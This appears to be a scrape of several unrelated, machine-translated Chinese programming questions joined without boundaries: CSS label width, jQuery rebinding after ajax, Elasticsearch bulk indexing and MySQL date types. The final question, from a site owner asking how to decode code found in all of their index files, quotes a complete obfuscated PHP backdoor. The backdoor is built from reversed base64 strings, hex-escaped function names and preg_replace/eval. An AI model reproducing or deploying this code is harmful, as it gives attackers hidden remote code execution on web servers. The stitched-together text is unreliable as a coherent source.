我有一个HTML表单[here] [1].我将标签的显示设置为inline和width,200px但它没有得到宽度.我怎样才能给它宽度以便它呢？
这是我的表格
<form>
<div>
<label>Name</label>
<input type="text" />
<label>Organization</label>
<input type="text" />
</div>
<div>
<label>E-mail</label>
<input type="text" />
<label>Phone</label>
<input type="text" />
</div>
</form>
而CSS:
label {
display: inline;
width: 200px;
}
我有一个矩阵,每个单元格都有一个RGB值.我想根据每个矩阵单元的RGB值将该矩阵投影到相应的矩形图上.最好的方法是什么？
我在jQuery ready()函数上有一些标准的插件绑定,适用于所有新请求.现在,随着我们向应用程序添加越来越多的ajax,这些新元素将留在初始绑定之后.
示例规则:
$(function () {
$('.date').datepicker({ showOn: 'button', buttonImage: "cal.gif" })
.blur(function (e) {
$(this).val(formatFecha($(this).val()));
})
$('.ui-datepicker-trigger').attr("tabindex", "-1");
$(".decimalnumber").numpadDecSeparator({ separator: "," })
.numeric(",")
.focus(function () { if ($(this).val() == '0,00' || $(this).val() == '0') $(this).val(''); });
$(".integernumber").numeric().focus(function () { if ($(this).val() == '0') $(this).val(''); });
$(".spinner").spinner({ min: 0, max: 10000000 });
$(".jbtn").button();
.......
我不是在谈论live()绑定事件的函数,因为这不是事件.
因为我觉得这很常见,我想知道你们是怎么做到的.
我试图找出为什么elasticsearch在索引方面如此缓慢.我不确定它是否是对弹性搜索本身的限制,但我会分享到目前为止我所拥有的.
我有一个弹性搜索节点和一个框上运行的logstash实例.我的文档有大约15个字段,我有一个弹性搜索映射设置与正确的类型(虽然我尝试没有映射,得到几乎相同的结果).
我一次索引大约800万到1000万个事件,并采取了以下方法.
使用以下格式的批量api(我将csv转换为JSON并将其放入我卷入的文件中
{"create" : {}}
{"field1" : "value1", "field2" : "value2 .... }
{"create" : {}}
{"field1" : "value1", "field2" : "value2 .... }
{"create" : {}}
{"field1" : "value1", "field2" : "value2 .... }
我也尝试使用tcp输入和原始csv或使用文件监听器的logstash,并将csv cat到文件logstash正在监听的末尾.
所有这三种方法似乎每秒摄取大约10,000个事件,这非常慢.
难道我做错了什么？我是否应该在批量摄取中明确指定ID而不是让它自动生成一个？
通过批量API摄取时,我将事件分成50,000和100,000个事件文件,并分别进行摄取.
当使用MySQL,是更好的做法是使用DATE,DATETIME,TIMESTAMP用于存储日期和时间或数据类型BIGINT的数据类型与时代时间戳？
每个人有什么优势,性能差异是什么？
我只是注意到我的所有索引文件都在我的服务器中有以下代码.我想知道如何解码这个.并找出这个代码背后的人？你能帮我解决这个问题吗？
<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = 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RiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>